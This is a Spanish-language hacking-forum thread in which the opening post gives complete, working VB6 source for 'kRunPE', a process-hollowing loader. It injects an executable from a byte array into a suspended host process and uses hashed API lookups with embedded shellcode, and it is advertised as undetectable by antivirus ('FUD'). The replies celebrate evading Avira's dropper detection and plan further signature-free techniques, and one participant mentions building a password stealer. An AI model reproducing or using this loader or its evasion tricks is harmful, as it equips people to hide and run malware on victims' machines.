elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)  (Leído 13,018 veces)
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
[m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« en: 23 Julio 2010, 20:58 pm »

Bueno, esta es la version mas corta que encontrareis del famoso RunPE >:D :silbar:
Código
  1. Option Explicit
  2. Option Base 0
  3.  
  4. '---------------------------------------------------------------------------------------
  5. ' Module    : kRunPe
  6. ' Author    : Karcrack
  7. ' Date      : 230710
  8. ' Purpose   : Shortest way to Run PE from ByteArray
  9. '---------------------------------------------------------------------------------------
  10.  
  11. Private Type DWORD_L
  12.    D1                          As Long
  13. End Type
  14.  
  15. Private Type DWORD_B
  16.    B1      As Byte:    B2      As Byte
  17.    B3      As Byte:    B4      As Byte
  18. End Type
  19.  
  20. 'USER32
  21. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
  22.  
  23. Private bInitialized_Inv        As Boolean
  24. Private ASM_gAPIPTR(170)        As Byte
  25. Private ASM_cCODE(255)          As Byte
  26.  
  27. Private Const KERNEL32          As String = "KERNEL32"
  28. Private Const NTDLL             As String = "NTDLL"
  29.  
  30. Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
  31.    Dim hModuleBase             As Long
  32.    Dim hPE                     As Long
  33.    Dim hSec                    As Long
  34.    Dim ImageBase               As Long
  35.    Dim i                       As Long
  36.    Dim tSTARTUPINFO(16)        As Long
  37.    Dim tPROCESS_INFORMATION(3) As Long
  38.    Dim tCONTEXT(50)            As Long
  39.  
  40.    hModuleBase = VarPtr(bvBuff(0))
  41.  
  42.    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
  43.  
  44.    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
  45.  
  46.    If Not GetNumb(hPE) = &H4550 Then Exit Function
  47.  
  48.    ImageBase = GetNumb(hPE + &H34)
  49.  
  50.    tSTARTUPINFO(0) = &H44
  51.    'CreateProcessW@KERNEL32
  52.    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
  53.    'NtUnmapViewOfSection@NTDLL
  54.    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
  55.    'NtAllocateVirtualMemory@NTDLL
  56.    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
  57.    'NtWriteVirtualMemory@NTDLL
  58.    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
  59.  
  60.    For i = 0 To GetNumb(hPE + &H6, 2) - 1
  61.        hSec = hPE + &HF8 + (&H28 * i)
  62.  
  63.        'NtWriteVirtualMemory@NTDLL
  64.        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
  65.    Next i
  66.  
  67.    tCONTEXT(0) = &H10007
  68.    'NtGetContextThread@NTDLL
  69.    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  70.    'NtWriteVirtualMemory@NTDLL
  71.    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
  72.  
  73.    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)
  74.  
  75.    'NtSetContextThread@NTDLL
  76.    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  77.    'NtResumeThread@NTDLL
  78.    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
  79.  
  80.    hProcess = tPROCESS_INFORMATION(0)
  81.    RunPE = True
  82. End Function
  83.  
  84. Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
  85.    'NtWriteVirtualMemory@NTDLL
  86.    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
  87. End Function
  88.  
  89. Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
  90.    Dim vItem                   As Variant
  91.    Dim bsTmp                   As DWORD_B
  92.    Dim lAPI                    As Long
  93.    Dim i                       As Long
  94.    Dim w                       As Long
  95.  
  96.    If Not bInitialized_Inv Then
  97.        For i = 0 To 170
  98.            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
  99.                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
  100.        Next i
  101.        i = 0
  102.        bInitialized_Inv = True
  103.    End If
  104.  
  105.    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
  106.  
  107.    If lAPI Then
  108.        For w = UBound(vParams) To LBound(vParams) Step -1
  109.            bsTmp = SliceLong(CLng(vParams(w)))
  110.            '// PUSH ADDR
  111.            Call PutByte(&H68, i)
  112.            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
  113.            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
  114.        Next w
  115.  
  116.        bsTmp = SliceLong(lAPI)
  117.        '// MOV EAX, ADDR
  118.        Call PutByte(&HB8, i)
  119.        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
  120.        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
  121.        '// CALL EAX
  122.        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
  123.        '// RET
  124.        Call PutByte(&HC3, i)
  125.  
  126.        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
  127.    End If
  128. End Function
  129.  
  130. Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
  131.    ASM_cCODE(iCounter) = bByte
  132.    iCounter = iCounter + 1
  133. End Sub
  134.  
  135. Private Function SliceLong(ByVal lLong As Long) As DWORD_B
  136.    Dim tL                      As DWORD_L
  137.  
  138.    tL.D1 = lLong
  139.    LSet SliceLong = tL
  140. End Function

Ejemplo de uso:
Código
  1.    Dim x()     As Byte
  2.    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
  3.        ReDim x(0 To LOF(1) - 1)
  4.        Get #1, , x
  5.    Close #1
  6.    Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Esta un poco desordenado, no tiene comentarios, he eliminado las estructuras, utiliza ASM, hashes... bastante follon para entenderlo sin saber nada de los RunPE :xD :xD

Cualquier duda preguntad ;)

Saludos ::)


« Última modificación: 25 Julio 2010, 14:21 pm por Karcrack » En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #1 en: 23 Julio 2010, 22:45 pm »


Tanto en P-Code...
Como Nativo...

AntiVir   8.2.4.26   2010.07.23   TR/Dropper.Gen

me voy a instalar un Avira, ya qué la situación se va a poner de nuevo fea O.O" :)...

Dulces Lunas!¡.


En línea

The Dark Shadow is my passion.
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #2 en: 24 Julio 2010, 01:41 am »


Tanto en P-Code...
Como Nativo...

AntiVir   8.2.4.26   2010.07.23   TR/Dropper.Gen

me voy a instalar un Avira, ya qué la situación se va a poner de nuevo fea O.O" :)...

Dulces Lunas!¡.
Supongo que simplemente pones el codigo en un modulo y añades un sub Main... eso no es cosa de mi codigo, es la ***** de la Heuristica del Avira, si hay un Sub Main() es un Dropper :laugh: :laugh: :laugh:

Avira Sucks... si teneis la opcion, NO LO USEIS
En línea

LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #3 en: 24 Julio 2010, 11:32 am »


Avira Sucks... si teneis la opcion, NO LO USEIS

Es una poronga

Muy bueno el code Karcrack
En línea

Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #4 en: 24 Julio 2010, 22:26 pm »

Genial el code.
Ojala lo entendiera  :-( :huh: :-X :-\

PD: Avira es el unico que detecto mi stealer con el codigo de Cobein.

Me parece que es re paranoico porque lo que detectaba era la funcion para mandar mails a gmail y no el modulo passdump >.<

Ya desvie el tema demasiado.

Buen code
En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
Pure Ice

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #5 en: 25 Julio 2010, 00:13 am »


Tanto en P-Code...
Como Nativo...

AntiVir   8.2.4.26   2010.07.23   TR/Dropper.Gen

me voy a instalar un Avira, ya qué la situación se va a poner de nuevo fea O.O" :)...

Dulces Lunas!¡.
Supongo que simplemente pones el codigo en un modulo y añades un sub Main... eso no es cosa de mi codigo, es la ***** de la Heuristica del Avira, si hay un Sub Main() es un Dropper :laugh: :laugh: :laugh:

Avira Sucks... si teneis la opcion, NO LO USEIS





LoL?  a sí ? = | no lo sabía... , runpe FUD , sin api's.. omg omg.. , a ver donde
nos meten las firmas ahora xD, seguro que el base 0 ese meten 1 en breve..


Gracias Karcrack ;D
En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #6 en: 25 Julio 2010, 01:31 am »


Si usa APIs ¬¬", aun qué solo sea Una pero de que usa usa!¡.

Posiblemente se la tome ya enserió el Avira y meta una en la declaración API CallWindowProcW
En línea

The Dark Shadow is my passion.
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #7 en: 25 Julio 2010, 02:53 am »


Si usa APIs ¬¬", aun qué solo sea Una pero de que usa usa!¡.

Posiblemente se la tome ya enserió el Avira y meta una en la declaración API CallWindowProcW
Tranquilo, que si todo va bien y consigo reparar el problema de Stack que me genera __vbaGoSubReturn tenemos forma de cargar ASM Inline sin usar APIs fuera de MSVBVM60, es decir, no pueden poner ninguna firma :P
En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #8 en: 25 Julio 2010, 05:47 am »

.
Avisas por qué el día qué sueltes eso jura qué me instalo 2 o mas AV... entre ellos Avira ( Aun que no le guste a nadie!¡. )

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: [m][VB6-FUD] kRunPE - Ejecuta ejecutables desde ByteArray :)
« Respuesta #9 en: 25 Julio 2010, 06:28 am »

Hay otra manera de hacer esto, se llama link spoofing y se puede compilar con ASM inline o cualquier otra cosa, pero obviamente requiere interceptar la llamada al linker y reemplazar el code en vb por asm.
En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
AYUDA: Mi Script (JS), no se ejecuta desde un archivo PHP
PHP
NetStorm 4 7,075 Último mensaje 19 Febrero 2011, 02:29 am
por WHK
Como se ejecuta virus desde usb
Análisis y Diseño de Malware
franfis 3 4,123 Último mensaje 8 Julio 2012, 04:23 am
por nts94
Desde que pulse una tecla, que ejecuta dicha acción
Programación C/C++
Meta 6 6,165 Último mensaje 13 Febrero 2023, 22:50 pm
por Meta
ejecutar .py desde vb.net no se ejecuta
Scripting
dian1919 0 3,233 Último mensaje 26 Julio 2023, 17:55 pm
por dian1919
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines